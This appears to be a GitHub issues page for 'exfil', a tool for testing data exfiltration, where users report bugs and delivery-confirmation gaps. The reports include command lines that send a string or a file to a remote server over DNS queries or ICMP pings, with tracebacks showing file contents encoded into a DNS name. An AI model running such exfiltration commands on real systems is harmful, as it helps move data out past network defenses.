averagesecurityguy / exfil Goto Github PK
View Code? Open in Web Editor NEWModular tool to test exfiltration techniques.
License: Other
Modular tool to test exfiltration techniques.
License: Other
Currently, and due to the nature of exfil, the application will send data regardless if there is a listening server or not.
Example of a non-existent server:
/root/exfil-master/exfil.py -d "TEST" -s 1.0.0.0 ping_data Sending data to 1.0.0.0 via ICMP. Data Sent: TEST
Would it be possible to have the client knowledge the delivery of the content? Have some sort of handshake between client and server?
The idea is that, from the client side, one can confirm if the data was in fact delivered to a server, and not just sent.
Thank you.
Hi,
When using exfil to send a string, it works fine, however, when attempting to send a file, the following error is given:
./exfil.py -s IP -p 5353 -f LICENSE dns_lookup
Sending data via DNS to 52.213.66.81 on port 5353.
Data Sent:
Copyright (c) 2014, LCI Technology Group, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
Traceback (most recent call last):
File "./exfil.py", line 53, in <module>
m.send(args.s, args.p, data)
File "/tmp/exfil-master/lib/dns_lookup.py", line 36, in send
network.send_dns_query(server, port, enc)
File "/tmp/exfil-master/lib/network.py", line 74, in send_dns_query
q.send(server, port=port, timeout=1)
File "/usr/local/lib/python2.7/dist-packages/dnslib/dns.py", line 351, in send
data = self.pack()
File "/usr/local/lib/python2.7/dist-packages/dnslib/dns.py", line 316, in pack
q.pack(buffer)
File "/usr/local/lib/python2.7/dist-packages/dnslib/dns.py", line 664, in pack
buffer.encode_name(self.qname)
File "/usr/local/lib/python2.7/dist-packages/dnslib/label.py", line 254, in encode_name
raise DNSLabelError("Domain label too long: %r" % name)
dnslib.label.DNSLabelError: Domain label too long: <DNSLabel: 'IyBDb3B5cmlnaHQgKGMpIDIwMTQsIExDSSBUZWNobm9sb2d5IEdyb3VwLCBMTEMKIyBBbGwgcmlnaHRzIHJlc2VydmVkLgojCiMgUmVkaXN0cmlidXRpb24gYW5kIHVzZSBpbiBzb3VyY2UgYW5kIGJpbmFyeSBmb3Jtcywgd2l0aCBvciB3aXRob3V0CiMgbW9kaWZpY2F0aW9uLCBhcmUgcGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2luZyBjb25kaXRpb25zIGFyZSBtZXQ6CiMKIyA=.'>
Details:
pip show dpkt
---
Name: dpkt
Version: 1.9.0
Location: /usr/local/lib/python2.7/dist-packages
pip show dnslib
---
Name: dnslib
Version: 0.9.7
Location: /usr/local/lib/python2.7/dist-packages
Attempting to use ping_data will also generate an error:
... File "/usr/local/lib/python2.7/dist-packages/dpkt/icmp.py", line 130, in __bytes__ self.sum = dpkt.in_cksum(dpkt.Packet.__str__(self)) File "/usr/local/lib/python2.7/dist-packages/dpkt/dpkt.py", line 141, in __str__ return str(self.__bytes__()) File "/usr/local/lib/python2.7/dist-packages/dpkt/icmp.py", line 130, in __bytes__ self.sum = dpkt.in_cksum(dpkt.Packet.__str__(self)) File "/usr/local/lib/python2.7/dist-packages/dpkt/dpkt.py", line 141, in __str__ return str(self.__bytes__()) ...
Due to recent Python version? Thank you!
Hi,
On both server and client, when specifying the method, with -m, the following error is given:
./exfil.py -s IP -p 5353 -d "TEST" -m dns_lookup
usage: exfil.py [-h] [-d string | -f filename] (-l | -s server) [-p port]
module_name
exfil.py: error: unrecognized arguments: -m
Details:
pip show dpkt
---
Name: dpkt
Version: 1.9.0
Location: /usr/local/lib/python2.7/dist-packages
pip show dnslib
---
Name: dnslib
Version: 0.9.7
Location: /usr/local/lib/python2.7/dist-packages
Since it works without the switch, but it's just a matter of removing it from the documentation?
Thank you!
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.